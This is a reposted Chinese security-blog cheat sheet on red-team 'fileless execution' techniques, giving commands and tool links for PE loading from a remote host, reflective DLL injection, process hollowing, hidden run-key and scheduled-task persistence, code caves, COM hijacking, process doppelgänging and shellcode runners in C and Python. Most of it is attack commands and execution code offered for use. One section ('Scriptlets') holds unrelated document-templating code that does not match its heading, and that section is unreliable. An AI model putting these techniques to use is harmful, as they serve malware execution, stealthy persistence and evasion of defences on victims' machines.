红队|无文件执行的多种方式
2023-5-11 21:7:47 Author: Z2O安全攻防(查看原文) 阅读量:30 收藏

点击上方[蓝字],关注我们

建议大家把公众号“Z2O安全攻防”设为星标,否则可能就看不到啦!因为公众号现在只对常读和星标的公众号才能展示大图推送。操作方法:点击右上角的【...】,然后点击【设为星标】即可。

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任。

PE Loader

FilelessPELoader.exe 192.168.126.240 8080 cipher. bin key. bin

https://github.com/TheD1rkMtr/FilelessPELoader

Reflective DLL injection

DotNetLoader.exe TestDLL_x64.dll

https://github.com/monoxgas/sRDI

Process Hollowing

hollow svchost.exe calc.bin

https://github.com/boku7/HOLLOW

Registry Run Keys

SharpHide.exe action=create keyvalue="C:\Windows\Temp\Bla.exe"

or

SyscallHide.exe create C:\Windows\Temp\backdoor.exe argument1

https://github.com/outflanknl/SharpHide https://github.com/panagioto/SyscallHide

Scheduled Tasks

ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010 /technique:hide

https://github.com/netero1010/ScheduleRunner

or

Import-Module .\Invoke-ScheduledJob\Invoke-ExpressionAs.psm1

$Credential = Get-Credential
Invoke-ExpressionAs -Command "& cmd /c notepad.exe" -Credential $Credential

https://github.com/mkellerman/PSRunAs

Scriptlets

// Setting up parameters for template processing
HashMap<String, Object> params = new HashMap<String, Object>();
params.put("name", "John");
params.put("sirname", "Smith");

// Define template source
// Option 1. Template is read from file system
DocxTemplater docxTemplater = new DocxTemplater(new File("path_to_docx_template/template.docx"));
// Option 2. Template is read from a stream
DocxTemplater docxTemplater = new DocxTemplater(new FileInputStream(new File("path_to_docx_template/template1.docx")), "template1");

// Actual processing
// Option 1. Processing with file as result
docxTemplater.process(new File("path_to_result_docx/result.docx"), params);
// Option 2. Processing with writing result to OutputStream
docxTemplater.process(new FileOutputStream(new File("path_to_result_docx/result.docx")), params);
// Option 3. Processing with InputStream as result
InputStream docInputStream = docxTemplater.processAndReturnInputStream(params);

https://github.com/snowindy/scriptlet4docx

Macros

EXCELntDonut -f exe_source.cs -r System.Windows.Forms.dll --sandbox --obfuscate

https://github.com/FortyNorthSecurity/EXCELntDonut

Code Cave

search ~/Downloads/putty.exe

or

CaveCarver.exe path_to_exe path_to_shellcode

https://github.com/XaFF-XaFF/CaveCarver https://github.com/Antonin-Deniau/cave\_miner

COM Hijacking

$keys = Get-CLSIDRegistryKeys -RegHive HKCR 
$results = $keys | % {$guid = Extract-GUIDFromText $_; Map-GUIDToDLL -guid $guid 2> $null }

https://github.com/nccgroup/acCOMplice

or

Invoke-WordThief

https://github.com/danielwolfmann/Invoke-WordThief

Process Doppelgänging

processrefund.exe svchost.exe MalExe.exe

https://github.com/Spajed/processrefund

PowerShell Downgrade Attack

python unicorn.py &lt;path_to_shellcode.txt&gt;: shellcode hta

https://github.com/trustedsec/unicorn

Manually Map A Driver

VirtualAllocEx-&gt;WriteProcessMemory-&gt;MmMapIoSpace

https://github.com/DarthTon/Blackbone

COFF Loader

COFFLoader2.exe /load example.coff

https://github.com/Yaxser/COFFLoader2

Dynamic Allocation of Memory

import ctypes

# Allocate memory space
executable_code = ctypes.create_string_buffer(b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xc3')

# Convert the memory space to a function pointer
function_pointer = ctypes.cast(executable_code, ctypes.CFUNCTYPE(None))

# Call the executable code using the function pointer
function_pointer()

# Free the allocated memory space
ctypes.windll.kernel32.VirtualFree(ctypes.addressof(executable_code), 0, ctypes.c_uint(0x8000))

https://github.com/RedXRanger/StageStrike

Function Pointer Execution

#include <stdio.h>
#include <stdlib.h>

// The function to execute in memory
int add(int a, int b)
{
    return a + b;
}

int main()
{
    // Allocate memory with the executable flag set
    void* mem = malloc(1024);
    int (*func_ptr)(int, int) = (int (*)(int, int))mem; // cast the pointer to a function pointer

    // Copy the machine code of the add function to the allocated memory block
    char code[] = {0x55,             // push ebp
                   0x89, 0xE5,       // mov ebp, esp
                   0x8B, 0x45, 0x08, // mov eax, [ebp+8]
                   0x03, 0x45, 0x0C, // add eax, [ebp+12]
                   0x5D,             // pop ebp
                   0xC3};            // ret
    memcpy(mem, code, sizeof(code));

    // Call the function using the function pointer
    int result = func_ptr(2, 3);
    printf("Result: %d\n", result);

    free(mem); // free the allocated memory
    return 0;
}

https://github.com/RedXRanger/StageStrike

.TEXT-Segment Execution

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef void (*func_ptr)();

int main(int argc, char *argv[]) {
  FILE *fp;
  long size;
  char *buffer;
  func_ptr func;

  // Open the executable file for reading
  fp = fopen(argv[1], "rb");

  // Get the size of the .TEXT segment
  fseek(fp, 0L, SEEK_END);
  size = ftell(fp) - 0x1000;
  rewind(fp);

  // Allocate a block of memory to hold the .TEXT segment
  buffer = (char *)malloc(size);

  // Copy the contents of the .TEXT segment into the allocated memory block
  fseek(fp, 0x1000, SEEK_SET);
  fread(buffer, size, 1, fp);

  // Close the file
  fclose(fp);

  // Cast the starting address of the allocated block of memory to a function pointer
  func = (func_ptr)buffer;

  // Call the function using the function pointer
  (*func)();

  // Free the allocated memory block
  free(buffer);

  return 0;
}

https://github.com/RedXRanger/StageStrike

RWX-Hunter Execution

#include <Windows.h>
#include <stdio.h>
#include <stdint.h>
#include <assert.h>

#define RWXHUNTER_IMPL
#include "rwxhunter.h"

int main(int argc, char** argv) {
    uint8_t shellcode[] = "YOUR SHELLCODE HERE";

    // Initialize RWX-Hunter
    int rwxh_result = rwxh_init();
    assert(rwxh_result == RWXH_OK);

    // Find executable memory page
    void* exec_mem = rwxh_alloc_exec(sizeof(shellcode));
    assert(exec_mem != NULL);

    // Copy shellcode to executable memory page
    memcpy(exec_mem, shellcode, sizeof(shellcode));

    // Set memory page as executable
    rwxh_set_exec(exec_mem, sizeof(shellcode));

    // Cast executable memory to function pointer and execute shellcode
    int (*shellcode_func)() = (int(*)())exec_mem;
    shellcode_func();

    // Free executable memory page
    rwxh_free_exec(exec_mem);

    return 0;
}

https://github.com/RedXRanger/StageStrike

hvv招募

2023Hvv大招募,蓝队中高级位置还有很多!参加的师傅扫描下面二维码提交简历,也可以添加下面的微信私信回复"hvv",拉你入hvv项目群!

知识星球

致力于红蓝对抗,实战攻防,星球不定时更新内外网攻防渗透技巧,以及最新学习研究成果等。常态化更新最新安全动态。专题更新奇技淫巧小Tips及实战案例。

涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全。星球中已发布 300+ 安全资源,针对网络安全成员的普遍水平,并为星友提供了教程、工具、POC&EXP以及各种学习笔记等等。

交流群

关注公众号回复“加群”,添加Z2OBot好友,自动拉你加入Z2O安全攻防交流群(微信群)分享更多好东西。(QQ群可直接扫码添加)

关注我们

关注福利:

回复“app" 获取  app渗透和app抓包教程

回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。

回复“书籍" 获取 网络安全相关经典书籍电子版pdf

回复“资料" 获取 网络安全、渗透测试相关资料文档

点个【 在看 】,你最好看


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2ODYxMzY3OQ==&mid=2247496072&idx=1&sn=8583a75a4c34bf482fb4553746402230&chksm=ceab1ac8f9dc93debe83100abc3538d28cfee6ac07cbaf056f8c2246bc63dc077a790b2f9ca5#rd
如有侵权请联系:admin#unsafe.sh